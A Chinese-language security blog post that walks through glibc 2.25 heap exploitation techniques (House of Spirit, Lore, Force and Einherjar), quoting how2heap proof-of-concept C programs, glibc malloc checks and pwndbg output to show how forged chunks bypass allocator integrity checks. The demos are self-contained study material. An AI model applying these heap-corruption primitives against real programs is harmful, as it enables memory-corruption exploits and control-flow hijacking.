House of 系列

Posted by nop on 2020-05-31
Words 4.7k In Total

引言

文中使用的libc版本: glibc-2.25

本篇内容是关于house系列的攻击思路以及绕过手法的,也是回炉的第二篇。

House of spirit

fastbin中的house of spirit实际上是伪造一个chunk,然后将他插入fastbin list。这样以来再一次malloc时就可以分配得到这个fake_chunk了。

how2heap-hosue of spirit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks [9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64) . The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

这段代码内容不多,但是有些写法确实第一次见:

1
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

其中,__attribute__((aligned(16)))是使fake_chunks以16字节对齐(64位下的chunk对齐方式),大小为10的数组实际上就相当于一个0x40的chunk,不过这里将fake_chunks[8]fake_chunks[9]作为下一个chunk的head,所以这里的fake_chunk实际大小是0x30:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffdc40
pwndbg> x/16gx 0x7fffffffdc40
0x7fffffffdc40: 0x0000000000000001 0x00007fffffffdcc0 <-- fake_chunks[1],size
0x7fffffffdc50: 0x00007ffff7ffe168 0x0000000000f0b5ff <--+
0x7fffffffdc60: 0x0000000000000001 0x00000000004008ed |
0x7fffffffdc70: 0x00007fffffffdc9e 0x0000000000000000 fake_chunk的数据域
0x7fffffffdc80: 0x00000000004008a0 0x00000000004005b0 |
0x7fffffffdc90: 0x00007fffffffdd80 0xfe221704c1789000 |
0x7fffffffdca0: 0x00000000004008a0 0x00007ffff7a2d830 <--+
0x7fffffffdcb0: 0x0000000000000001 0x00007fffffffdd88 <-- fake_chunks[9],下一个chunk的size

布置好fake_chunk的size位以及下一个chunk的size位之后,通过释放fake_chunks[2],就可以将fake_chunk插入fastbin的链表中了(0x30):

1
2
3
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

调试可以发现,这个时候fastbin链表以及存在一个chunk了:

1
2
3
4
5
6
7
8
9
pwndbg> fast
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdc40 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

接着通过源码来看这个绕过,首先是涉及的几个宏:

1
2
3
4
5
6
7
8
9
/* Check if m has acceptable alignment */

#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

对本chunk的size检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}

check_inuse_chunk(av, p);

/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

这一点还是比较好理解的,也容易想到。关键在对下一个chunk的检测,正清情况下不看源码对这一点是比较模糊的:

1
2
3
4
5
6
7
nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}

不难发现,在free一个fastbin时,也会同时对下一个chunk的size做一个范围的约束。这一点在how2heap的代码里其实也有说明:

1
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is >     2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to  pass the nextsize integrity checks. No need for fastbin size.\n");

综上所述,house of spirit的利用实际上就是绕过这两个size的检查,进而达到分配一个任意地址的chunk的目的。

House of Lore

这个手法实际上是通过伪造一个chunk(small chunk)完成任意地址的读写,先看看how2heap的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

这里实际上只需要绕过一个检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

实际上这里只有这么关键一个判断,当然,前面的victim !=0是前提:

1
if (__glibc_unlikely (bck->fd != victim))

这一部分实际上就对应how2heap代码中的:

1
stack_buffer_1[2] = victim_chunk;

而how2heap中:

1
victim[1] = (intptr_t)stack_buffer_1;

实际上是将正常的chunk的bk指针指向我们伪造的chunk,构成一个双链表,进而使在malloc时能够得到我们伪造的chunk,而how2heap的代码中实际上是伪造了两个chunk,目的是防止我们申请伪造的chunk时触发上述的检测,造成程序crash。
大致过程如下:

Alt

几点注意:
1.设置victim的bk指针时需要先将其释放,然后再写入值,否则在释放时修改的值会被覆盖

2.释放一个small bin时会将其放入unsorted bin,所以how2heap的代码中在释放之后先申请了一个大的chunk(比释放的chunk大),这个时候,大的chunk有top chunk得到而先前释放到unsorted bin的chunk就会被插入到small bin list。如果申请的chunk比unsorted bin的chunk小,那么就会将这个chunk分割

3.注意到在释放chunk前先申请的一个大的chunk,这是防止释放small bin大小的chunk时其与top chunk合并

House of Force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
/*

This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )

Tested in Ubuntu 14.04, 64bit.

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");
fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);
fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);
fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------
fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

结合代码注释和流程,可以发现这种攻击手法实际上是修改top chunk的size位,使其无限大,然后通过分配一个特定大小的无用chunk,进而是top chunk到一个特定的位置,使得在下一次申请时分配得到一个想要位置的chunk。

这个过程关键点在计算偏移上,实际上似乎并没有绕过什么检查。。。。。

注释中标明了完整的计算推到过程:

1
2
3
4
5
6
7
The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
1. new_top = old_top + nb
2. nb = new_top - old_top
3. req + 2sizeof(long) = new_top - old_top
4. req = new_top - old_top - 2sizeof(long)
5. req = dest - 2sizeof(long) - old_top - 2sizeof(long)
6. req = dest - old_top - 4*sizeof(long)

因为堆的地址是向上增长的,所以这里的第1,2步也很好理解,申请一个chunk之后,新的top chunk位于申请大小的chunk加上原来的chunk。

然后第三步,将nb替换成 req + 2sizeof(long),这里的req实际上是malloc的垃圾chunk的data域大小,加上size和prev_size自然就是chunk的真实大小了,即nb的值。

第四步,就是一个简单的等式变换;直接看第五步,假设我们想要malloc返回到dest处,那么在malloc一个垃圾chunk之后,新的top chunk应该就在dest - 2*sizeof(long)处,这样在次malloc时才会返回到dest处,所以有了第五步的替换。

到了第六步,实际上就是一个等式的化简。

综上所述,我们其实可以得到一个计算公式,即在修改top chunk的size域之后,想要分配一个chunk到指定位置,我们需要先申请一个垃圾chunk,而这个chunk的大小计算式为:req = dest - old_top - 4*sizeof(long),dest为目标地址。

在malloc一个req大小的chunk之后,就可以得到一个指定位置的chunk了:

1
2
3
4
5
pwndbg> p &ctr_chunk
$5 = (void **) 0x7fffffffdd68
pwndbg> x/x 0x7fffffffdd68
0x7fffffffdd68: 0x0000000000602060
pwndbg>

House of Einherjar

这个方式是通过null by one修改某个chunk(p)p->prev_inuse位,使前一个chunk被识别为空闲,接着修改p->prev_size。这样释放之后就会向前合并,下一次再malloc时,就会分配到p-sizeof(size_t)*2 - fake_size处。所以,我们可以通过fake_size来完成任意地址的分配,示意图如下:

Alt

how2heap源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
fprintf(stderr, "Welcome to House of Einherjar!\n");
fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
fprintf(stderr, "a: %p\n", a);

int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' afterrounding: %#x\n", real_a_size);

// create a fake chunk
fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create thechunk on the stack\n");
fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as longas you know its address\n");
fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order topass the unlink checks\n");
fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
fprintf(stderr, "b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}

首先是申请一个用于单字节溢出的chunk:

1
a = (uint8_t*) malloc(0x38);

此处大小是0x38,因为堆是以16字节对齐的,这里申请0x38大小的数据,会使用后一个chunk的prev_size位,这样只需要一个单字节就可修改后一个chunk的prev_inuse

此外fake_chunk需要绕过P->bk->size == P->prev_size,所以有如下布局:

1
2
3
4
5
6
fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

还有一点需要注意的是,fake_chunk的大小应该在smallbin的范围,因为fastbin不会合并。

然后再申请一个smallbin范围内的chunk,准备工作就完成了:

1
b = (uint8_t*) malloc(0xf8);

这里申请的大小是0xf8,加上0x10的元数据,大小其实是0x100(16字节对齐,少的0x8字节使用下一个chunk的prev_size域,使用这个大小的好处是0x100的低字节是00(或01),也就是说可以直接覆盖低字节为00而不需要再写入原chunk的大小

准备工作完成之后,就可以修改对应数据了:

1
a[real_a_size] = 0;

数组越界的单字节溢出,修改目标chunk的prev_inuse为为0,使前一个chunk被识别为空闲。接着就是修改两处的size域:

1
2
3
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

fake_chunk[1] = fake_size;

修改完成之后,释放目标chunk,再次申请时就可以得到fake_chunk了:

1
2
free(b);
d = malloc(0x200);
1
2
3
4
5
6
7
pwndbg> p &fake_chunk
$7 = (size_t (*)[6]) 0x7fffffffdd30
pwndbg> p &d
$8 = (uint8_t **) 0x7fffffffdd28
pwndbg> x/x 0x7fffffffdd28
0x7fffffffdd28: 0x00007fffffffdd40
pwndbg>

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.